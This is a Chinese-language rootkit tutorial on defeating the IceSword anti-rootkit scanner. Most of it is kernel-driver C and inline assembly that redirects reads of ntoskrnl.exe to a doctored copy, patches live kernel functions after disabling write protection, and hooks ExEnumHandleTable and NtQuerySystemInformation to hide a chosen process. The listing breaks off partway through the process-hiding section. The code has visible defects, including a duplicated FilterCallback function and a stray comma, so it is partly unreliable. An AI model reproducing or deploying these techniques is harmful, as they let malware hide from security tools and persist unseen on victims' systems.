利用伪造内核文件来绕过IceSword的检测

文章分为八个部分:

                一、为什么需要伪造内核
                二、伪造内核文件
                三、隐藏进程
                四、隐藏内核模块
                五、隐藏服务
                六、隐藏注册表
                七、隐藏文件
                八、关于端口

另:建议先看看最后那些参考文章。


一、为什么需要伪造内核:

    IceSword(以下简称IS)为了防止一些关键系统函数(包括所有服务中断表中的函数以及IS驱动部分要使用到的一些关键函数)被 patch,它直接读取内核文件(以下简称“ntoskrnl
. exe”),然后自己分析ntoskrnl . exe的PE结构来获取关键系统函数的原始代码并且把当前内核中所有的关键系统函数还原为windows默认状态,这样保证了IS使用到的函数不被patch过。也许你会想如果我们把还原后的函数再进行patch不还是能躲的过去吗?笔者也试过,还专门写了ring0的Timer来不停的patch自己想hook的函数。结果IS棋高一筹,在对所有的关键系统函数进行还原以后,IS每次调用这些函数前都会先把这些函数还原一次。这样还是能保证IS自己使用到的关键系统函数不被patch。也许你还会想缩小Timer的时间间隔,以致于IS对这些函数进行还原后,这些函数马上又被我们patch,这样IS再调用这些函数时不还是执行了我们patch过的函数。这种想法粗略看起来可以,但你仔细一想就知道是不行的。

    治病还是得治本,也许你想过不如直接修改ntoskrnl
. exe文件内容,使得IS一开始读入的就已经是我们patch过得函数内容,这样不就躲过去了。这种想法有两个很大的副作用:

    
1 、在通常的默认情况下,windows的系统文件保护是打开的,要停止这种系统文件保护要付出很大的代价,有可能需要重启。

    
2 、就算你停止了系统文件保护,也成功修改了ntoskrnl . exe,但是你不能保证系统每次都能正常关机
       假如系统非法关机重启,由于你还来未对ntoskrnl
. exe进行还原,此时会发生什么情况我也就不多说了。

    而伪造内核文件就很好的避免了上面谈的两大副作用。主要处理下面三个点:

    
1 、截获并修改IS打开ntoskrnl . exe消息,使它指向我要伪造的内核文件(假设为“otoskrnl . exe”)

    
2 、在内核文件中定位我们要修改的数据。

    
3 、隐藏我们伪造的“otoskrnl . exe” , 这点请看本文的第七部分。



二、    伪造内核文件:

先说一下本文hook函数的方式:

    
1 、取该函数起始地址的前六个字节内容保留在 unsigned char  resume [ 6 ] 中。

    
2 、把构造的两条指令push xxxxxxxx(我们自己构造的函数地址) ret 保留到 unsigned char  crackcode [ 6 ] (这两条指令刚好六个字节)中。

    
3 、把该函数起始址的 6 个字节替换成crackcode [ 6 ] 的内容。这样系统调用该函数时就会先跳到xxxxxxxx地址去执行我们构造的函数。

    而我们构造的xxxxxxxx函数的主要结构如下:

    
1 、把我们hook的那个函数起始的前 6 个字节用resume [ 6 ] 内容进行还原。

    
2 、对传递的程序参数进行处理等。

    
3 、调用被还原后的函数。

    
4 、此时可以处理函数返回后的数据等。

    
5 、把还原后的那个函数的起始地址前 6 个字节再用crackcode [ 6 ] 内容进行替换。

    
6 、返回。


    IS是通过IoCreateFile函数来打开ntoskrnl
. exe,因此我们只要hook这个函数,并检查其打开的文件名,如果是打开 ntoskrnl . exe的话,我们把文件名替换成otoskrnl . exe再扔回去就OK了。这样所有针对于ntoskrnl . exe文件的操作都会指向otoskrnl . exe ,  当然前提是你在进入驱动前记得先把ntoskrnl . exe在原目录下复制一份并命名为otoskrnl . exe。

    关于我们要修改的数据在ntoskrnl
. exe中偏移的算法也很简单,这里给出公式如下:

    函数在中文件偏移=当前函数在内存中的地址 - 当前函数所在驱动模块的起始地址

    举个例子来说,假设IoCreateFile在内核中的内存地址是
0x8056d1234 ,由于它是在内存中ntoskrnl . exe模块中,假设ntoskrnl . exe起始地址是 0x8045d000 。那么IoCreateFile在磁盘上的ntoskrnl . exe文件中的偏移就是  0x8056d123 - 0x8045d000 = 0x110123 了。

    再进行详细点说明:假设你对IoCreateFile函数进行了patch,使得该函数起始地址的
6 前六节的数据XXXXXX变成了 YYYYYY。那么你只要打开otoskrnl . exe,把文件偏移调整到上面所说的 0x110123 处,在写入 6 个字节的数据YYYYYY。那么当IS 打开otoskrnl . exe的话,读出的数据就是YYYYYY了!

    下面的代码实现两个功能,一个功能就是hook了IoCreateFile函数,使的所有指向ntoskrnl
. exe的操作都指向 otoskrnl . exe。另外一个功能就是进行伪造内核(函数RepairNtosFile (  DWORD FunctionOffset ,  DWORD RepairDataPtr ) ),其中FunctionOffset参数内容就是我们要hook的函数在内存中的地址。RepairDataPtr是指向字符crackcode [ 6 ] 第一个字节的指针。主要功能就是先把要hook的函数地址在otoskrnl . exe文件中进行定位,然后再把 crackcode [ 6 ] 内容写进去。
代码

   
1.  #include  "ntddk.h"   
   
2.  #include  "stdarg.h"   
   
3.  #include  "stdio.h"   
   
4.  #include  "ntiologc.h"   
   
5.  #include  "string.h"   
   
6.   
   7. 
#define DWORD  unsigned long   
   
8.  #define WORD  unsigned short   
   
9.  #define BOOL  unsigned long   
  
10.   
  11. 
PCWSTR    NTOSKRNL = L "ntoskrnl.exe"  
  
12.   
  13. 
unsigned char  ResumCodeIoCreateFile [ 6 ];   
  
14.  unsigned char  CrackCodeIoCreateFile [ 6 ];   
  
15.   
  16. 
typedef  NTSTATUS  ( * IOCREATEFILE  )(   
  
17.   
  18.   
OUT PHANDLE                FileHandle ,   
  
19.    IN ACCESS_MASK            DesiredAccess ,   
  
20.    IN POBJECT_ATTRIBUTES            ObjectAttributes ,   
  
21.    OUT PIO_STATUS_BLOCK            IoStatusBlock ,   
  
22.    IN PLARGE_INTEGER            AllocationSize OPTIONAL ,   
  
23.    IN ULONG                FileAttributes ,   
  
24.    IN ULONG                ShareAccess ,   
  
25.    IN ULONG                Disposition ,   
  
26.    IN ULONG                CreateOptions ,   
  
27.    IN PVOID                EaBuffer OPTIONAL ,   
  
28.    IN ULONG                EaLength ,   
  
29.    IN CREATE_FILE_TYPE            CreateFileType ,   
  
30.    IN PVOID                ExtraCreateParameters OPTIONAL ,   
  
31.    IN ULONG                Options  );   
  
32.   
  33. 
IOCREATEFILE    OldIoCreateFile ;   
  
34.   
  35. 
DWORD GetFunctionAddr (  IN PCWSTR FunctionName )   
  
36.  {   
  
37.      UNICODE_STRING UniCodeFunctionName ;   
  
38.   
  39.             
RtlInitUnicodeString ( & UniCodeFunctionName ,  FunctionName  );   
  
40.              return  ( DWORD ) MmGetSystemRoutineAddress ( & UniCodeFunctionName  );       
  
41.   
  42. 
}   
  
43.   
  44. 
NTSTATUS RepairNtosFile (  DWORD FunctionOffset ,  DWORD RepairDataPtr )   
  
45.  {   
  
46.      NTSTATUS Status ;       
  
47.      HANDLE FileHandle ;   
  
48.      OBJECT_ATTRIBUTES FObject ;   
  
49.      IO_STATUS_BLOCK IOSB ;   
  
50.      UNICODE_STRING    FileName ;   
  
51.      LARGE_INTEGER NtosFileOffset ;   
  
52.   
  53.                 
RtlInitUnicodeString  (    
  
54.                              & FileName ,    
  
55.                              L "\\SystemRoot\\system32\\otoskrnl.exe"  );   
  
56.   
  57.                 
InitializeObjectAttributes  (   
  
58.                                   & FObject ,   
  
59.                                   & FileName ,   
  
60.                                   OBJ_KERNEL_HANDLE ,   
  
61.                                   NULL ,   
  
62.                                   NULL );   
  
63.                  Status  =  ZwCreateFile (   
  
64.                              & FileHandle ,   
  
65.                              FILE_WRITE_DATA + FILE_WRITE_ATTRIBUTES + FILE_WRITE_EA ,   
  
66.                              & FObject ,   
  
67.                              & IOSB ,   
  
68.                              NULL ,   
  
69.                              FILE_ATTRIBUTE_NORMAL ,   
  
70.                             0 ,   
  
71.                              FILE_OPEN ,   
  
72.                              FILE_NON_DIRECTORY_FILE ,   
  
73.                              NULL ,   
  
74.                             0   
  75.                              
);   
  
76.                  if  (  Status  !=  STATUS_SUCCESS  )   
  
77.                  {   
  
78.                      return  Status ;   
  
79.                  }   
  
80.   
  81.                 
//下面计算出函数在otoskrnl.exe中的偏移,NtoskrnlBase就是   
  
82.                  //Ntoskrnl.exe在内存中的起始地址,在第四部分隐藏内核模块   
  
83.                  //时会提到它的获取方法。   
  
84.   
  85.                 
NtosFileOffset . QuadPart  =  FunctionOffset  -  NtoskrnlBase ;    
  
86.   
  87.                 
Status  =  ZwWriteFile (   
  
88.                              FileHandle ,   
  
89.                              NULL ,   
  
90.                              NULL ,   
  
91.                              NULL ,   
  
92.                              & IOSB ,   
  
93.                              ( unsigned char  *) RepairDataPtr ,   
  
94.                             0x6 ,   
  
95.                              & NtosFileOffset ,   
  
96.                              NULL );   
  
97.                  if  (  Status  !=  STATUS_SUCCESS  )   
  
98.                  {   
  
99.                      return  Status ;   
 
100.                  }   
 
101.                  Status  =  ZwClose (  FileHandle  );   
 
102.                  if  (  Status  !=  STATUS_SUCCESS  )   
 
103.                  {   
 
104.                      return  Status ;   
 
105.                  }   
 
106.                  return  STATUS_SUCCESS ;       
 
107.   
 108. 
}   
 
109.   
 110. 
NTSTATUS NewIoCreateFile  (   
 
111.   
 112.   
OUT PHANDLE                FileHandle ,   
 
113.    IN ACCESS_MASK            DesiredAccess ,   
 
114.    IN POBJECT_ATTRIBUTES            ObjectAttributes ,   
 
115.    OUT PIO_STATUS_BLOCK            IoStatusBlock ,   
 
116.    IN PLARGE_INTEGER            AllocationSize OPTIONAL ,   
 
117.    IN ULONG                FileAttributes ,   
 
118.    IN ULONG                ShareAccess ,   
 
119.    IN ULONG                Disposition ,   
 
120.    IN ULONG                CreateOptions ,   
 
121.    IN PVOID                EaBuffer OPTIONAL ,   
 
122.    IN ULONG                EaLength ,   
 
123.    IN CREATE_FILE_TYPE            CreateFileType ,   
 
124.    IN PVOID                ExtraCreateParameters OPTIONAL ,   
 
125.    IN ULONG                Options  )   
 
126.   
 127. 
{   
 
128.      NTSTATUS Status ;   
 
129.      PCWSTR IsNtoskrnl  =  NULL ;   
 
130.      PCWSTR FileNameaddr = NULL ;   
 
131.   
 132.         
_asm     //对IoCreateFile函数进行还原   
 
133.          {   
 
134.              pushad   
 
135.              mov edi ,  OldIoCreateFile   
 
136.              mov eax ,  dword ptr ResumCodeIoCreateFile [ 0 ]   
 
137.              mov  [ edi ],  eax   
 
138.              mov ax ,  word ptr ResumCodeIoCreateFile [ 4 ]   
 
139.              mov  [ edi + 4 ],  ax   
 
140.              popad   
 
141.          }    
 
142.   
 143.            
 144.         
_asm     //获取要打开的文件名地址   
 
145.          {   
 
146.              pushad    
 
147.              mov edi ,  ObjectAttributes   
 
148.              mov eax , [ edi + 8 ]   
 
149.              mov edi , [ eax + 4 ]   
 
150.              mov FileNameaddr ,  edi   
 
151.              popad   
 
152.          }   
 
153.   
 154.         
IsNtoskrnl  =  wcsstr (  FileNameaddr ,  NTOSKRNL  );  //判断是否时打开ntoskrnl.exe   
 
155.   
 156.         
if  (  IsNtoskrnl  !=  NULL  )   
 
157.          {   
 
158.              _asm     //是的话,则把ntoskrnl.exe替换成otoskrnl.exe   
 
159.              {   
 
160.                  pushad   
 
161.                  mov edi ,  IsNtoskrnl   
 
162.                  mov  [ edi ],  0x006F   
 163.                 
popad   
 
164.              }   
 
165.          }   
 
166.   
 167.         
Status  =  OldIoCreateFile  (   
 
168.                
 169.                         
FileHandle ,   
 
170.                          DesiredAccess ,   
 
171.                          ObjectAttributes ,   
 
172.                          IoStatusBlock ,   
 
173.                          AllocationSize OPTIONAL ,   
 
174.                          FileAttributes ,   
 
175.                          ShareAccess ,   
 
176.                          Disposition ,   
 
177.                          CreateOptions ,   
 
178.                          EaBuffer OPTIONAL ,   
 
179.                          EaLength ,   
 
180.                          CreateFileType ,   
 
181.                          ExtraCreateParameters OPTIONAL ,   
 
182.                          Options  );   
 
183.   
 184.         
_asm  //把还原后的代码又替换成我们伪造的代码   
 
185.              {   
 
186.                  pushad   
 
187.                  mov edi ,  OldIoCreateFile   
 
188.                  mov eax ,  dword ptr CrackCodeIoCreateFile [ 0 ]   
 
189.                  mov  [ edi ],  eax   
 
190.                  mov ax ,  word ptr CrackCodeIoCreateFile [ 4 ]   
 
191.                  mov  [ edi + 4 ],  ax   
 
192.                  popad   
 
193.              }           
 
194.          return  Status ;   
 
195.   
 196. 
}   
 
197.   
 198.   
 199. 
NTSTATUS PatchIoCreateFile ()   
 
200.  {   
 
201.      NTSTATUS Status ;   
 
202.                
 203.             
OldIoCreateFile  = (  IOCREATEFILE  )  GetFunctionAddr ( L "IoCreateFile" );   
 
204.   
 205.             
if  (  OldIoCreateFile  ==  NULL  )   
 
206.              {   
 
207.                  DbgPrint ( "Get IoCreateFile Addr Error!!" );   
 
208.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
209.              }   
 
210.   
 211.             
_asm   //关中断   
 
212.                 {   
 
213.                  CLI                    
 
214.                  MOV    EAX ,  CR0        
 
215.                  AND EAX ,  NOT  10000H     
 216.                 
MOV    CR0 ,  EAX           
 
217.              }   
 
218.              _asm   
 
219.              {   
 
220.                  pushad   
 
221.                  //获取 IoCreateFile 函数的地址并保留该函数的起始六个字节   
 
222.                  mov edi ,  OldIoCreateFile   
 
223.                  mov eax , [ edi ]   
 
224.                  mov dword ptr ResumCodeIoCreateFile [ 0 ],  eax   
 
225.                  mov ax , [ edi + 4 ]   
 
226.                  mov word  ptr ResumCodeIoCreateFile [ 4 ],  ax   
 
227.                    
 228.                 
//构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行   
 
229.                  mov byte ptr CrackCodeIoCreateFile [ 0 ],  0x68   
 230.                 
lea edi ,  NewIoCreateFile   
 
231.                  mov dword ptr CrackCodeIoCreateFile [ 1 ],  edi   
 
232.                  mov byte ptr CrackCodeIoCreateFile [ 5 ],  0xC3   
 233.   
 234.                 
//把构造好的代码进心替换   
 
235.                  mov edi ,  OldIoCreateFile   
 
236.                  mov eax ,  dword ptr CrackCodeIoCreateFile [ 0 ]   
 
237.                  mov dword ptr [ edi ],  eax   
 
238.                  mov ax ,  word ptr CrackCodeIoCreateFile [ 4 ]   
 
239.                  mov word ptr [ edi + 4 ],  ax   
 
240.                  popad   
 
241.              }   
 
242.   
 243.             
_asm  //开中断   
 
244.              {   
 
245.                  MOV    EAX ,  CR0          
 
246.                  OR    EAX ,  10000H               
 247.                 
MOV    CR0 ,  EAX                 
 
248.                  STI                       
 
249.              }   
 
250.   
 251.             
Status  =  RepairNtosFile (   
 
252.                              ( DWORD ) OldIoCreateFile ,   
 
253.                              ( DWORD )(& CrackCodeIoCreateFile ));   
 
254.   
 255.             
return  Status ;   
 
256.   
 257. 
}   

    
上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr () (用来获取函数地址)以及RepairNtosFile  () (功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再 2K 及XP下测试并通过。笔者在写这些代码时虽然兼顾到了 2K3 ,但是笔者并没有在 2K3 中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯 16 进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。


三、    隐藏进程

    对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数 NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Callback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的 Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback 中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接
return 。这样就起到隐藏进程的作用。

    以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。

    下面的代码中,GetProcessID
() 函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。

    PatchExEnumHandleTable
() 函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation  () 函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。

 
代码

   
1.  HANDLE ProtectID ;   
   
2.  unsigned char  ResumCodeExEnumHandleTable [ 6 ];   
   
3.  unsigned char  CrackCodeExEnumHandleTable [ 6 ];   
   
4.  unsigned char  ResumCodeNtQuerySystemInformation [ 6 ];   
   
5.  unsigned char  CrackCodeNtQuerySystemInformation [ 6 ];   
   
6.   
   7. 
typedef  NTSTATUS  (* NTQUERYSYSTEMINFORMATION )(   
   
8.   
   9.   
IN ULONG                        SystemInformationClass ,   
  
10.    OUT PVOID                        SystemInformation ,   
  
11.    IN ULONG                        SystemInformationLength ,   
  
12.    OUT PULONG                        ReturnLength OPTIONAL   );   
  
13.   
  14. 
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation ;   
  
15.   
  16. 
typedef  VOID  (* EXENUMHANDLETABLE )     
  
17.  (     
  
18.      PULONG        HandleTable ,     
  
19.      PVOID        Callback ,     
  
20.      PVOID        Param ,     
  
21.      PHANDLE        Handle  OPTIONAL    
  
22.  );   
  
23.   
  24. 
EXENUMHANDLETABLE    OldExEnumHandleTable ;   
  
25.   
  26. 
typedef  BOOL  (* EXENUMHANDLETABLECALLBACK )   
  
27.  (   
  
28.      DWORD   HANDLE_TALBE_ENTRY ,   
  
29.      DWORD    PID ,   
  
30.      PVOID    Param   
  
31.  );   
  
32.   
  33. 
EXENUMHANDLETABLECALLBACK    OldCallback ;   
  
34.   
  35. 
NTSTATUS GetProcessID  (    
  
36.              IN PUNICODE_STRING theRegistryPath   
  
37.              )   
  
38.  {   
  
39.      OBJECT_ATTRIBUTES ObjectAttributes ;   
  
40.      NTSTATUS Status ;   
  
41.   
  42.     
HANDLE KeyHandle ;   
  
43.      PHANDLE Phandle ;   
  
44.      PKEY_VALUE_PARTIAL_INFORMATION valueInfoP ;   
  
45.      ULONG valueInfoLength , returnLength ;   
  
46.   
  47.     
UNICODE_STRING UnicodeProcIDreg ;   
  
48.   
  49.   
  50.             
InitializeObjectAttributes  (    
  
51.                              & ObjectAttributes ,    
  
52.                              theRegistryPath ,    
  
53.                              OBJ_CASE_INSENSITIVE ,    
  
54.                              NULL ,    
  
55.                              NULL  );    
  
56.   
  57.             
Status  =  ZwOpenKey  (    
  
58.                          & KeyHandle ,    
  
59.                          KEY_ALL_ACCESS ,    
  
60.                          & ObjectAttributes  );   
  
61.   
  62.             
if  ( Status  !=  STATUS_SUCCESS )   
  
63.              {   
  
64.                  DbgPrint ( "ZwOpenKey Wrong\n" );   
  
65.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  
66.              }   
  
67.   
  68.             
RtlInitUnicodeString  (    
  
69.                          & UnicodeProcIDreg ,    
  
70.                          L "ProcessID"  );   
  
71.   
  72.             
valueInfoLength  =  sizeof ( KEY_VALUE_PARTIAL_INFORMATION );   
  
73.   
  74.             
valueInfoP  = ( PKEY_VALUE_PARTIAL_INFORMATION )  ExAllocatePool  (   
  
75.                                              NonPagedPool ,    
  
76.                                              valueInfoLength  );   
  
77.              Status  =  ZwQueryValueKey  (    
  
78.                              KeyHandle ,    
  
79.                              & UnicodeProcIDreg ,    
  
80.                              KeyValuePartialInformation ,    
  
81.                              valueInfoP ,    
  
82.                              valueInfoLength ,    
  
83.                              & returnLength  );   
  
84.   
  85.             
if  ( Status  !=  STATUS_SUCCESS )   
  
86.              {   
  
87.                  DbgPrint ( "ZwOpenKey Wrong\n" );   
  
88.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
  
89.              }   
  
90.   
  91.             
Phandle  = ( PHANDLE )( valueInfoP -> Data );   
  
92.   
  93.             
ProtectID  = * Phandle ;   
  
94.   
  95.             
ZwClose ( KeyHandle );   
  
96.   
  97.             
return  STATUS_SUCCESS ;   
  
98.   
  99. 
}   
 
100.   
 101. 
BOOL FilterCallback  (   
 
102.              DWORD   HANDLE_TALBE_ENTRY ,   
 
103.              DWORD    PID ,   
 
104.              PVOID    Param  )   
 
105.  {   
 
106.   
 107.         
if  (  PID  != ( DWORD ) ProtectID )     //判断是否是我们要隐藏的进程   
 
108.          {   
 
109.              return  OldCallback  (   
 
110.                          HANDLE_TALBE_ENTRY ,   
 
111.                          PID ,   
 
112.                          Param  );   
 
113.          }   
 
114.          else  
 
115.          {   
 
116.              return  FALSE ;  //是的话直接返回   
 
117.          }   
 
118.  }   
 
119.   
 120. 
BOOL FilterCallback  (   
 
121.              DWORD   HANDLE_TALBE_ENTRY ,   
 
122.              DWORD    PID ,   
 
123.              PVOID    Param  )   
 
124.  {   
 
125.   
 126.         
if  (  PID  != ( DWORD ) ProtectID )     //判断是否是我们要隐藏的进程   
 
127.          {   
 
128.              return  OldCallback  (   
 
129.                          HANDLE_TALBE_ENTRY ,   
 
130.                          PID ,   
 
131.                          Param  );   
 
132.          }   
 
133.          else  
 
134.          {   
 
135.              return  FALSE ;  //是的话直接返回   
 
136.          }   
 
137.  }   
 
138.   
 139.   
 140.   
 141. 
VOID NewExEnumHandleTable (   
 
142.                  PULONG        HandleTable ,     
 
143.                  PVOID        Callback ,     
 
144.                  PVOID        Param ,     
 
145.                  PHANDLE        Handle  OPTIONAL  )       
 
146.  {   
 
147.   
 148.         
OldCallback  =  Callback ;  //把Callback参数给OldCallback进行保留   
 
149.   
 150.         
Callback  =  FilterCallback ;  //用FilterCallback替换调原来的Callback   
 
151.   
 152.         
_asm   //还原   
 
153.          {   
 
154.              pushad   
 
155.              mov edi ,  OldExEnumHandleTable   
 
156.              mov eax ,  dword ptr ResumCodeExEnumHandleTable [ 0 ]   
 
157.              mov  [ edi ],  eax   
 
158.              mov ax ,  word ptr ResumCodeExEnumHandleTable [ 4 ]   
 
159.              mov  [ edi + 4 ],  ax   
 
160.              popad   
 
161.          }   
 
162.   
 163.             
OldExEnumHandleTable  (   
 
164.                          HandleTable ,     
 
165.                          Callback ,     
 
166.                          Param ,     
 
167.                          Handle  OPTIONAL  );   
 
168.          _asm  //替换   
 
169.          {   
 
170.              pushad   
 
171.              mov edi ,  OldExEnumHandleTable   
 
172.              mov eax ,  dword ptr CrackCodeExEnumHandleTable [ 0 ]   
 
173.              mov  [ edi ],  eax   
 
174.              mov ax ,  word ptr CrackCodeExEnumHandleTable [ 4 ]   
 
175.              mov  [ edi + 4 ],  ax   
 
176.              popad   
 
177.          }   
 
178.          return  ;   
 
179.  }   
 
180.   
 181. 
NTSTATUS PatchExEnumHandleTable ()   
 
182.  {   
 
183.      NTSTATUS Status ;   
 
184.   
 185.              
OldExEnumHandleTable  = ( EXENUMHANDLETABLE )  GetFunctionAddr ( L "ExEnumHandleTable" );   
 
186.   
 187.              
if  (  OldExEnumHandleTable  ==  NULL  )   
 
188.               {   
 
189.                   DbgPrint ( "Get ExEnumHandleTable Addr Error!!" );   
 
190.                   return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
191.               }   
 
192.   
 193.              
_asm     //关中断   
 
194.                 {   
 
195.                  CLI                       
 
196.                  MOV    EAX ,  CR0      
 
197.                  AND EAX ,  NOT  10000H    
 198.                 
MOV    CR0 ,  EAX     
 
199.              }   
 
200.               _asm   
 
201.              {   
 
202.                  pushad   
 
203.                  //获取ExEnumHandleTable函数的地址并保留该函数的起始六个字节   
 
204.                  mov edi ,  OldExEnumHandleTable   
 
205.                  mov eax , [ edi ]   
 
206.                  mov dword ptr ResumCodeExEnumHandleTable [ 0 ],  eax   
 
207.                  mov ax , [ edi + 4 ]   
 
208.                  mov word  ptr ResumCodeExEnumHandleTable [ 4 ],  ax   
 
209.                    
 210.                 
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewExEnumHandleTable去执行   
 
211.                  mov byte ptr CrackCodeExEnumHandleTable [ 0 ],  0x68   
 212.                 
lea edi ,  NewExEnumHandleTable   
 
213.                  mov dword ptr CrackCodeExEnumHandleTable [ 1 ],  edi   
 
214.                  mov byte ptr CrackCodeExEnumHandleTable [ 5 ],  0xC3   
 215.   
 216.                 
//把构造好的代码进心替换   
 
217.                  mov edi ,  OldExEnumHandleTable   
 
218.               ,     mov eax ,  dword ptr CrackCodeExEnumHandleTable [ 0 ]   
 
219.                  mov dword ptr [ edi ],  eax   
 
220.                  mov ax ,  word ptr CrackCodeExEnumHandleTable [ 4 ]   
 
221.                  mov word ptr [ edi + 4 ],  ax   
 
222.                  popad   
 
223.              }   
 
224.   
 225.              
_asm  //开中断   
 
226.              {   
 
227.                  MOV    EAX ,  CR0           
 
228.                  OR    EAX ,  10000H      
 229.                 
MOV    CR0 ,  EAX              
 
230.                  STI             
 
231.              }   
 
232.                
 233.             
Status  =  RepairNtosFile (   
 
234.                          ( DWORD ) OldExEnumHandleTable ,   
 
235.                          ( DWORD )(& CrackCodeExEnumHandleTable ) );   
 
236.   
 237.             
return  Status ;   
 
238.  }   
 
239.   
 240. 
NTSTATUS NewNtQuerySystemInformation (   
 
241.   
 242.   
IN ULONG        SystemInformationClass ,   
 
243.    OUT PVOID        SystemInformation ,   
 
244.    IN ULONG        SystemInformationLength ,   
 
245.    OUT PULONG        ReturnLength OPTIONAL  )   
 
246.  {   
 
247.      NTSTATUS Status ;   
 
248.      DWORD     Bprocess ;   
 
249.   
 250.         
_asm     
 
251.          {   
 
252.              pushad   
 
253.              mov edi ,  OldNtQuerySystemInformation   
 
254.              mov eax ,  dword ptr ResumCodeNtQuerySystemInformation [ 0 ]   
 
255.              mov  [ edi ],  eax   
 
256.              mov ax ,  word ptr ResumCodeNtQuerySystemInformation [ 4 ]   
 
257.              mov  [ edi + 4 ],  ax   
 
258.              popad   
 
259.          }   
 
260.   
 261.         
Status = OldNtQuerySystemInformation  (    
 
262.                              SystemInformationClass ,    
 
263.                              SystemInformation ,    
 
264.                              SystemInformationLength ,    
 
265.                              ReturnLength OPTIONAL  );   
 
266.          _asm    
 
267.          {   
 
268.              pushad   
 
269.              mov edi ,  OldNtQuerySystemInformation   
 
270.              mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
 
271.              mov  [ edi ],  eax   
 
272.              mov ax ,  word ptr CrackCodeNtQuerySystemInformation [ 4 ]   
 
273.              mov  [ edi + 4 ],  ax   
 
274.              popad   
 
275.          }   
 
276.   
 277.         
if  (  Status  !=  STATUS_SUCCESS  ||  SystemInformationClass != 5  )   
 
278.          {   
 
279.              return  Status ;    
 
280.          }   
 
281.   
 282.         
_asm   
 
283.          {   
 
284.              pushad   
 
285.   
 286.             
mov ecx ,  ProtectID   
 
287.              mov edi ,  SystemInformation   
 
288.   
 289. 
ProcessListNEnd :   
 
290.              mov Bprocess ,  edi   
 
291.              mov eax , [ edi ]   
 
292.              test eax ,  eax   
 
293.              jz ProcessListEnd   
 
294.              add edi ,  eax   
 
295.   
 296.             
mov eax , [ edi + 0x44 ]   
 
297.              cmp eax ,  ecx   
 
298.              jz FindOut   
 
299.              jmp ProcessListNEnd   
 
300.  FindOut :   
 
301.              mov ebx , [ edi ]   
 
302.              test ebx ,  ebx   
 
303.              jz listend   
 
304.              mov eax ,  Bprocess   
 
305.              mov edx , [ eax ]   
 
306.              add ebx ,  edx   
 
307.              mov  [ eax ],  ebx   
 
308.              jmp hideOK   
 
309.   
 310. 
listend :   
 
311.              mov eax ,     Bprocess   
 
312.              mov  [ eax ],   0   
 313. 
hideOK :       
 
314.                
 315. 
ProcessListEnd :   
 
316.   
 317.             
popad   
 
318.          }   
 
319.          return  Status ;   
 
320.  }   
 
321.   
 322.   
 323.   
 324.   
 325. 
NTSTATUS PatchNtQuerySystemInformation  ()   
 
326.  {   
 
327.      NTSTATUS Status ;   
 
328.                
 329.             
OldNtQuerySystemInformation  = ( NTQUERYSYSTEMINFORMATION )  GetFunctionAddr ( L "NtQuerySystemInformation" );   
 
330.   
 331.             
if  (  OldNtQuerySystemInformation  ==  NULL  )   
 
332.              {   
 
333.                  DbgPrint ( "Get NtQuerySystemInformation Addr Error!!" );   
 
334.                  return  STATUS_DEVICE_CONFIGURATION_ERROR ;   
 
335.              }   
 
336.   
 337.             
_asm     //关中断   
 
338.                 {   
 
339.                  CLI           
 
340.                  MOV    EAX ,  CR0           
 
341.                  AND EAX ,  NOT  10000H    
 342.                 
MOV    CR0 ,  EAX           
 
343.              }   
 
344.              _asm   
 
345.              {   
 
346.                  pushad   
 
347.                  //获取 NtQuerySystemInformation 函数的地址并保留该函数的起始六个字节   
 
348.                  mov edi ,  OldNtQuerySystemInformation   
 
349.                  mov eax , [ edi ]   
 
350.                  mov dword ptr ResumCodeNtQuerySystemInformation [ 0 ],  eax   
 
351.                  mov ax , [ edi + 4 ]   
 
352.                  mov word  ptr ResumCodeNtQuerySystemInformation [ 4 ],  ax   
 
353.                    
 354.                 
//构造要替换的代码,使得系统调用该函数时跳到我们构造的NewNtQuerySystemInformation去执行   
 
355.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 0 ],  0x68   
 356.                 
lea edi ,  NewNtQuerySystemInformation   
 
357.                  mov dword ptr CrackCodeNtQuerySystemInformation [ 1 ],  edi   
 
358.                  mov byte ptr CrackCodeNtQuerySystemInformation [ 5 ],  0xC3   
 359.   
 360.                 
//把构造好的代码进心替换   
 
361.                  mov edi ,  OldNtQuerySystemInformation   
 
362.                  mov eax ,  dword ptr CrackCodeNtQuerySystemInformation [ 0 ]   
 
363.                  mov dword ptr [ edi ],  eax   
 
